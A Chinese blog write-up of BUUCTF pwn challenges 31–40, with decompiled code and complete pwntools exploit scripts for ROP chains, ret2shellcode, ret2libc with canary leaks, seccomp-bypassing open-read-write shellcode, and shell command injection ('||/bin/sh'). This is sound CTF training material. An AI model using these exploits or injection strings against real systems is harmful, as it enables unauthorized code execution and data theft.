buuctf习题pwn(31~40)

第三十一题picoctf_2018_rop chain

查看保护和反汇编

checksec
在这里插入图片描述
32位,堆栈不可执行
ida
main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __gid_t v4; // [esp+Ch] [ebp-Ch]

  setvbuf(_bss_start, 0, 2, 0);
  v4 = getegid();
  setresgid(v4, v4, v4);
  vuln();
  return 0;
}

进入vuln函数

char *vuln()
{
  char s[24]; // [esp+0h] [ebp-18h] BYREF

  printf("Enter your input> ");
  return gets(s);
}

列表中有flag函数

int __cdecl flag(int a1)
{
  char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
  FILE *stream; // [esp+3Ch] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts(
      "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fgets(s, 48, stream);
  if ( win1 && win2 && a1 == -559039827 )
    return printf("%s", s);
  if ( win1 && win2 )
    return puts("Incorrect Argument. Remember, you can call other functions in between each win function!");
  if ( win1 || win2 )
    return puts("Nice Try! You're Getting There!");
  return puts("You won't get the flag that easy..");
}

可以看出解题思路:令win1win2大于0,a1=-559039827即可
有发现win_function1函数 win_function2函数

void win_function1()
{
  win1 = 1;
}
int __cdecl win_function2(int a1)
{
  int result; // eax

  result = (unsigned __int8)win1;
  if ( win1 && a1 == -1163220307 )
  {
    win2 = 1;
  }
  else if ( win1 )
  {
    return puts("Wrong Argument. Try Again.");
  }
  else
  {
    return puts("Nope. Try a little bit harder.");
  }
  return result;
}

所以先调用win_function1,再调用win_function2,最后调用flag
但是直接发送a1超过p32的限制,所以需要转成16进制,ida可以转,
点数字按d就可以将数字转换无符号十六进制,再次点击可转成无符号整数。
比较数据时并不是比较他们的编码方式,而是比较数字的内容,因此即使传进去的a1是无符号十六进制,判断时他们仍相等。

exp

from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',28560)

flag_addr=0x0804862B
win_function1_addr=0x080485CB
win_function2_addr=0x080485D8
vuln_addr=0x8048714
payload1=b'a'*28+p32(win_function1_addr)+p32(vuln_addr)
io.recvuntil(b'input> ')
io.sendline(payload1)
payload2=b'a'*28+p32(win_function2_addr)+p32(vuln_addr)+p32(0xBAAAAAAD)
io.sendline(payload2)
payload3=b'a'*28+p32(flag_addr)+p32(0)+p32(0xDEADBAAD)
io.sendline(payload3)
io.interactive()

这种写法比较方便理解
当然payload也可以只写一个

payload=b'a'*28+p32(win_function1_addr)+p32(win_function2_addr)+p32(flag_addr)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)

解释一下:win_function1_addr是调用win_function1函数,后面的win_function2_addr是它的返回地址,执行完win_function1后执行win_function2,flag_addr作为win_function2的返回地址,0xBAAAAAAD是win_function2的参数,0xDEADBAAD是flag的参数

第三十三题ez_pz_hackover_2016

查看保护和反编译

在这里插入图片描述
32位,堆栈可以执行,想到了ret2shellcode
ida
mian函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdout, 0);
  header();
  chall();
  return 0;
}

header函数

int header()
{
  printf("\n");
  printf("             ___ ____\n");
  printf("      ___ __| _ \\_  /\n");
  printf("     / -_)_ /  _// / \n");
  printf("     \\___/__|_| /___|\n");
  printf("        lemon squeezy\n");
  return printf("\n\n");
}

chall函数

void *chall()
{
  size_t v0; // eax
  void *result; // eax
  char s[1024]; // [esp+Ch] [ebp-40Ch] BYREF
  _BYTE *v3; // [esp+40Ch] [ebp-Ch]

  printf("Yippie, lets crash: %p\n", s);
  printf("Whats your name?\n");
  printf("> ");
  fgets(s, 1023, stdin);
  v0 = strlen(s);
  v3 = memchr(s, 10, v0);
  if ( v3 )
    *v3 = 0;
  printf("\nWelcome %s!\n", s);
  result = (void *)strcmp(s, "crashme");
  if ( !result )
    return vuln((char)s, 0x400u);
  return result;
}

字符串窗口没有有用的。
这个题是ret2shellcode还有点不太理解,比如栈的结构之类
可以看到它的第一个栈很大,输入限制也无法溢出,但是可以通过绕过if判断来复制内容到s,s在ida里看是50,但是gdb调试的时候发现偏移才26字节
所以我们打算写入shellcode,再在vuln函数栈溢出覆盖返回地址到写入的shllcode处
接下来就是计算各种偏移了
gdb调试(应该是我的gdb有点问题,想在脚本里开调试一直不成功,而且手动调试绕过方法也失败)
二次修改后用的是ubuntu16的gdb
测试脚本

from pwn import *
io=process('./ez_pz_hackover_2016')
gdb.attach(io,'b *0x8048600')
io.recvuntil('crash: ')
s_addr=int(io.recvuntil('\n'),16)
print(hex(s_addr))
payload='crashme\x00'+'aaaa' 
io.sendline(payload)
pause()


运行后c
在这里插入图片描述

查看栈
在这里插入图片描述

08:00200xff7feb00 ◂— 0x72630000//这个是r(0x72)和c(0x63)
09:00240xff7feb04 ◂— 'ashme'

所以此处是输入开始的地方
算一下它到ebp+4(返回地址)的偏移
看左侧一排
从c开始应该是0x22,到返回地址0x3c,距离应该是0x3c-0x22=0x1a=26
所以偏移应为26
在header函数里有打印s的地址,我们也在脚本中打印了这个地址
在这里插入图片描述

计算0xff7feb3c到我们要执行shllcode的地址也就是返回地址的下面开始的位置
在这里插入图片描述

所以payload长这样

shellcode=asm(shellcraft.sh())
payload=payload=(b'crashme'+b'\x00').ljust(26,b'\x00')+p32(shellcode_addr)+shellcode
#(b'crashme'+b'\x00').ljust(26,b'\x00')是绕过判断(strcmp遇到\x00就会停止对比并返回返回值),执行vuln函数

exp

from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',26313)
#io=process('./ez_pz_hackover_2016')
shellcode=asm(shellcraft.sh())
io.recvuntil(b'Yippie, lets crash: ')
s_addr=int(io.recvuntil('\n')[:-1],16)
shellcode_addr=s_addr-0x1c
payload=(b'crashme'+b'\x00').ljust(26,b'\x00')+p32(shellcode_addr)+shellcode
io.recvuntil(b'> ')
io.sendline(payload)
io.interactive()

第三十四题wustctf2020_getshell

查看保护和反编译

checksec
在这里插入图片描述
32位小端,堆栈不可执行
ida
main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  vulnerable();
  return 0;
}

vulnerable函数(可栈溢出)

ssize_t vulnerable()
{
  char buf[24]; // [esp+0h] [ebp-18h] BYREF

  return read(0, buf, 0x20u);
}

发现shell函数

int shell()
{
  return system("/bin/sh");
}

有后门可溢出,这题和第一题第二题一样

exp

from pwn import*
#io=process('./wustctf2020_getshell')
io=remote('node4.buuoj.cn',26799)
shell_addr=0x0804851B
payload=b'a'*0x1c+p32(shell_addr)
io.sendline(payload)
io.interactive()

第三十五题 jarvisoj_level3_x64

查看保护和反汇编

checksec
在这里插入图片描述
64位小端,堆栈不可执行
ida
main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  return write(1, "Hello, World!\n", 0xEuLL);
}

vulnerable_function函数

ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  write(1, "Input:\n", 7uLL);
  return read(0, buf, 0x200uLL);
}

buf128,read能写0x200,可以溢出
没有后门之类,ret2libc
这里没有puts函数,所以用的write函数泄露read地址
我们知道write需要三个参数,所以要找rdi、rsi、rdx的pop指令
但是没有rdx的gadget
在这里插入图片描述

经过gdb调试发现(断点打在callread之后level处,即我们将要进行write函数之时)
在这里插入图片描述
rdx的值为0x200,足够泄露出来read的地址了(第三个参数代表输出长度)
所以payload1

payload1=b'a'*0x88+p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_r15_addr)+p64(read_got)+p64(0)+p64(write_plt)+p64(mian_addr)

exp

from pwn import *
from LibcSearcher import *
io=remote("node4.buuoj.cn",29278)
context(log_level='debug')
#io = process("./level3_x64")
elf=ELF("./level3_x64")
main_addr=elf.sym['main']
read_got=elf.got['read']
write_plt=elf.plt['write']
pop_rdi_addr=0x4006b3
pop_rsi_r15_addr=0x4006b1
payload1=b'a'*0x88+p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_r15_addr)+p64(read_got)+p64(0)+p64(write_plt)+p64(main_addr)
io.recvuntil(b'Input:\n')
io.sendline(payload1)
#io.recvuntil(b'Input:\n')
read_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(read_addr))
libc=LibcSearcher('read',read_addr)
libcbase=read_addr-libc.dump('read')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*0x88+p64(pop_rdi_addr)+p64(bin_sh)+p64(system)
io.recvuntil(b'Input:\n')
io.sendline(payload2)
io.interactive()

对于接收read地址那里,我见过三种方式了,遇到这种题就挨个试了,谁叫咱菜呢。

第三十六题 bjdctf_2020_babyrop2

查看保护和反汇编

checksec
在这里插入图片描述
64位程序,堆栈不可执行,有canary保护
ida
main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  gift();
  vuln();
  return 0;
}

gift函数

unsigned __int64 gift()
{
  char format[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("I'll give u some gift to help u!");
  __isoc99_scanf("%6s", format);
  printf(format);
  puts(byte_400A05);
  fflush(0LL);
  return __readfsqword(0x28u) ^ v2;
}

vuln函数

unsigned __int64 vuln()
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Pull up your sword and tell me u story!");
  read(0, buf, 0x64uLL);
  return __readfsqword(0x28u) ^ v2;
}

可以发现这个题的canary是v2,而且v2是同一个canary,gift函数里说给我们一个礼物

__isoc99_scanf("%6s", format);//输入6个字节到format里
printf(format);输出format

这里很明显的格式化字符串,但是输入长度受限,只能一次一次试我们输入字符在栈上的偏移。
试了6次,这里不展示其他尝试
在这里插入图片描述

可以看到打印出的地址含有a的ASCII码61
接下来gdb调试去看输入的位置距离canary的距离,其实ida上也有,但是保不齐是错的,后面的迁移就是错的
在这里插入图片描述

可以看到canary在rbp-0x8处
查看此处地址
在这里插入图片描述
还是和以前一样选择在nop处下断点
再去看栈的情况
在这里插入图片描述
可以看到canary就在输入的下一处,所以canary的偏移应该是7
所以通过gift函数泄露canary的值
但是让我不理解是要这样接收
其他的接收方式打不通

io.recvuntil(b'0x')
canary=int(u64(io.recv(16),16)

接下来进入vuln函数通过read函数溢出进行ret2libc
再次运行,这次断点打在vuln函数的nop处
查看栈
在这里插入图片描述
可以看到,canary到输入处的偏移是0x18,但是ida给的是0x20是错的,细算一下,buf[24]长度也就是0x18字节
通过泄露read的地址来计算libc版本,进行解题

exp

from pwn import *
from LibcSearcher import *
io=remote("node4.buuoj.cn",29070)
context(log_level='debug')
#io = process("./bjdctf_2020_babyrop2")
elf=ELF("./bjdctf_2020_babyrop2")
vuln_addr=elf.sym['vuln']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi_addr=0x400993
paylaod1=b'%7$p'
io.recvuntil(b'u!')
io.sendline(paylaod1)
#canary=io.recvuntil(b'\n')[:-1]
io.recvuntil(b'0x')
canary=int(io.recv(16),16)
payload2=b'a'*0x18+p64(canary)+p64(0)
payload2+=p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
io.recvuntil(b'story!\n')
io.sendline(payload2)
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload3=b'a'*0x18+p64(canary)+p64(0)+p64(pop_rdi_addr)+p64(bin_sh)+p64(system)
io.recvuntil(b'story!\n')
io.sendline(payload3)
io.interactive()

第三十七题 pwnable_orw

查看保护和反编译

checksec
在这里插入图片描述
32位小端,有canary保护(但是没啥用)
ida
main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 0xC8u);
  ((void (*)(void))shellcode)();
  return 0;
}

orw_seccomp函数(从一位师傅的wp得来的,我没找到prctl第二条指令的意思)

unsigned int orw_seccomp()
{
  __int16 v1; // [esp+4h] [ebp-84h] BYREF
  char *v2; // [esp+8h] [ebp-80h]
  char v3[96]; // [esp+Ch] [ebp-7Ch] BYREF
  unsigned int v4; // [esp+6Ch] [ebp-1Ch]

  v4 = __readgsdword(0x14u);
  qmemcpy(v3, &unk_8048640, sizeof(v3));
  v1 = 12;
  v2 = v3;
  prctl(38, 1, 0, 0, 0);//第一个参数为38,第二个参数为2,后面参数是0,禁止了该程序以及子程序调用execve函数
 /*
 prctl 是一个用于控制进程属性的系统调用,通常用于 Linux 操作系统。它允许进程修改自身或其他进程的属性
 例如设置进程名称、设置线程名称、调整资源限制等。
 prctl 的全名是 "Process Control",它提供了一种灵活的方式来管理进程和线程的行为
 */
  prctl(22, 2, &v1);
  // option为22的情况,第二个参数为1,只允许调用read/write/exit/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
  return __readgsdword(0x14u) ^ v4;
}

所以这个题就不能用execve了,就是自动生成的 shellcode是打不通的,但是open、read、write函数是可以使用的,就像题目的名字orw。
师傅还有一些东西

__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]
  
  // 两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
  // seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    puts("seccomp error");
    exit(0);
  }
  
  // seccomp_rule_add添加规则
  // v1对应上面初始化的返回值
  // 0x7fff0000即对应宏SCMP_ACT_ALLOW
  // 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
  // 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
  seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);

  // seccomp_load - Load the current seccomp filter into the kernel
  if ( seccomp_load(v1) < 0 )
  {
  	// seccomp_release - Release the seccomp filter state
  	// 但对已经load的过滤规则不影响
    seccomp_release(v1);
    puts("seccomp error");
    exit(0);
  }
  return seccomp_release(v1);
}

然后这个题就直接写open打开flag文件、read读flag、write写flag到输出
然后是exp

exp

from pwn import *
#context(os='linux',arch='i386',log_level='debug')
#io=process('./orw')
io=remote('node4.buuoj.cn',29964)
'''
这是用shellcarft工具写的
shellcode=shellcraft.open('flag')
shellcode+=shellcraft.read(3,'esp',0x100)#这个把3换成'eax'也可,因为read的系统调用号是3,所一eax会被设置为3(这里传的是参数给ebx)
shellcode+=shellcraft.write(1,'esp',0x100)
payload=asm(shellcode)
'''
'''
#sys_open('flag',0,0)
push 0x0 #字符串截断
push 0x67616c66 #小端序,输入galf
mov ebx,esp
xor ecx,ecx
xor edx,edx
mov eax,0x5 #open的系统调用号是5
int 0x80 #中断调用
'''
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80;')
'''
#sys_read(fd,buf,0x30)用到了ebx,ecx,edx
mov eax,3
mov ebx,3 #3是open函数打开其他文件的文件描述符,0 1 2 3 是标准输入,标准输出,出错,其他文件
mov ecx,esp
mov edx,0x100
int 0x80
'''
shellcode+=asm('mov eax,0x3;mov ebx,0x3;mov ecx,esp;mov edx,0x100;int 0x80;')
'''
#sys_write(1,file,0x30)
mov eax,0x4
mov ebx,0x1#ecx的内容不变,所以没写mov ecx,esp
mov edx,0x100
int 0x80
'''
shellcode+=asm('mov eax,0x4;mov ebx,0x1;mov edx,0x100;int 0x80;')
io.recvuntil(b'shellcode:')
io.sendline(shellcode)
io.interactive()

第三十八题 jarvisoj_level4

查看保护以及反编译

checksec
在这里插入图片描述
32位小端,堆栈不可执行
ida
main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}

vulnerable_function函数

ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  return read(0, buf, 0x100u);
}

很直白了,ret2libc

exp

from pwn import*
from LibcSearcher import*
#context(os='linux',arch='i386',log_level='dubug')
io=remote('node4.buuoj.cn',28907)
#io=process('./level4')
elf=ELF('./level4')
read_got=elf.got['read']
write_plt=elf.plt['write']
vuln_addr=elf.sym['vulnerable_function']
payload1=b'a'*0x8c+p32(write_plt)+p32(vuln_addr)+p32(1)+p32(read_got)+p32(4)
io.sendline(payload1)
read_addr=u32(io.recv(4))
print(hex(read_addr))
'''
libc=LibcSearcher('read',read_addr)
libcbase=read_addr-libc.dump('read')
system_addr=libcbase+libc.dump('system')
str_bin_sh=libcbase+libc.dump('str_bin_sh')
'''
libc=ELF('./libc-2.23.so')
libcbase=read_addr-libc.sym['read']
system_addr=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
paylaod2=b'a'*0x8c+p32(system_addr)+b'aaaa'+p32(binsh)
io.sendline(paylaod2)
io.interactive()

第三十九题mrctf2020_shellcode

查看保护和反汇编

checksec
在这里插入图片描述
64位堆栈可执行,pie(地址随机)和全RELRO(got和plt都是只读)
ida
main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[1036]; // [rsp+0h] [rbp-410h] BYREF

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("Show me your magic!");
  read(0, buf, 0x400uLL);
  return 0;
}

ida无法反编译

在这里插入图片描述
提示11dd处 call analysis failed
调用失败呗
咱们去看一下
在这里插入图片描述
call rax,call了一个寄存器,怎么想都不太对。
可以把它改成nop就能反编译了
方法之一:右键该处
在这里插入图片描述
单击nop就可以将此处修改为nop
在这里插入图片描述

改完之后就可以反编译了
跟题目名字一样,shellcode就好,因为没开堆栈的保护

exp

不想开虚拟机了,这个没运行可能有拼写错误

from pwn import*
context(arch='amd64')
io=('xxx',xxx)
payload=asm(shellcraft.sh())
io.sendline(payload)
io.interactive()

第四十题 bjdctf_2020_router

查看保护和反编译

checksec
在这里插入图片描述
64位小端,堆栈不可执行
ida
main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-74h] BYREF
  char buf[16]; // [rsp+10h] [rbp-70h] BYREF
  char dest[8]; // [rsp+20h] [rbp-60h] BYREF
  __int64 v7; // [rsp+28h] [rbp-58h]
  int v8; // [rsp+30h] [rbp-50h]
  char v9; // [rsp+34h] [rbp-4Ch]
  char v10[56]; // [rsp+40h] [rbp-40h] BYREF
  unsigned __int64 v11; // [rsp+78h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  *(_QWORD *)dest = 0x20676E6970LL;
  v7 = 0LL;
  v8 = 0;
  v9 = 0;
  v4 = 0;
  puts("Welcome to BJDCTF router test program! ");
  while ( 1 )
  {
    menu();
    puts("Please input u choose:");
    v4 = 0;
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        puts("Please input the ip address:");
        read(0, buf, 0x10uLL);
        strcat(dest, buf);
        system(dest);
        puts("done!");
        break;
      case 2:
        puts("bibibibbibibib~~~");
        sleep(3u);
        puts("ziziizzizi~~~");
        sleep(3u);
        puts("something wrong!");
        puts("Test done!");
        break;
      case 3:
        puts("Please input what u want to say");
        puts("Your suggest will help us to do better!");
        read(0, v10, 0x3AuLL);
        printf("Dear ctfer,your suggest is :%s", v10);
        break;
      case 4:
        puts("Hey guys,u think too much!");
        break;
      case 5:
        puts("Good Bye!");
        exit(-1);
      default:
        puts("Functional development!");
        break;
    }
  }
}

查看字符串窗口发现system函数,跟进后发现在main函数中
阅读并运行代码
在这里插入图片描述
在选项4中提示我们想的太复杂了,想到了输入v4的时候scanf没有限制长度,就想着能不能直接覆盖到dest的位置,把他改成/bin/sh来获取shell,但是多次尝试没有成功。
最后不得不去看wp,了解到这个ping方法是根据linux下的命令机制运作的
关于linux下的命令机制:(如果不遇到这个题我都不知道)

其实很简单,就是说命令1和命令2
输入 命令1&&命令2,当命令1正常执行时命令2才会执行
输入 命令1||命令2,命令1失败时才会执行命令2
输入 命令1;命令2,两个命令都执行互相不影响//这里是分号

并且在ping中没有参数得到话会返回错误
所以我们传参数的时候(第一次选1,第二次输入的时)传一个

|| /bin/sh
或
|| cat flag
或
;/bin/sh
或
;cat flag

exp

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',27032)
#io=process('./bjdctf_2020_router')
io.recvuntil(b'choose:\n')
io.sendline(b'1')
io.recvuntil(b'address:')
io.sendline(b'||/bin/sh')
io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值